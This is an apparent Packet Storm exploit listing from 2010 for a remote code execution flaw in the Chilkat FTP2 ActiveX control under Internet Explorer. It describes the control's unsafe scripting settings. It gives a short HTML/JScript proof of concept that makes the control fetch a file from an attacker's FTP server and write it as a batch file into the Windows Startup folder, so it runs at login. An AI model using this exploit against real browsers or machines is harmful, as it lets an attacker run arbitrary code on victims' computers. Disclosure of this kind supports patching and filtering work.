Chilkat Software FTP2 ActiveX Code Execution

Type packetstorm
Reporter rgod
Modified 2010-12-29T00:00:00


Chilkat Software FTP2 ActiveX Component (ChilkatFtp2.DLL Remote Code Execution poc  
by rgod  
tested against Internet Explorer 7 on Vista  
should also work with 8/9  
ActiveX Settings:  
CLSID: {302124C4-30A0-484A-9C7A-B51D5BA5306B}  
Progid: ChilkatFtp2.ChilkatFtp2.1  
Binary Path: C:\Windows\System32\CHILKA~2.DLL  
KillBitted: False  
Implements IObjectSafety: True  
Safe For Initialization (IObjectSafety): True  
Safe For Scripting (IObjectSafety): True  
This class allows to copy/overwrite files inside arbitrary locations ex. by the GetFile()  
method. This code creates a batch file inside the automatic startup folder,  
setup a ftp server allowing anonymous connections and place the code you want  
to be retrieved.  
This control is also used by lots of freeware applications, it was not documented so I posted here.  
Note that previous versions has a different clsid, I'm saying this for filtering purposes.  
<object classid='clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B' id='obj' />  
obj.UnlockComponent("suntzu"); //needed for file transfer operations, type whatever here  
obj.Port=21; //configure ftp connection  
obj.Hostname=""; //change here  
var x;  
if (x==1){  
x = obj.GetFile("suntzu.txt","c:/Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/suntzu.bat"); //boom  
original url: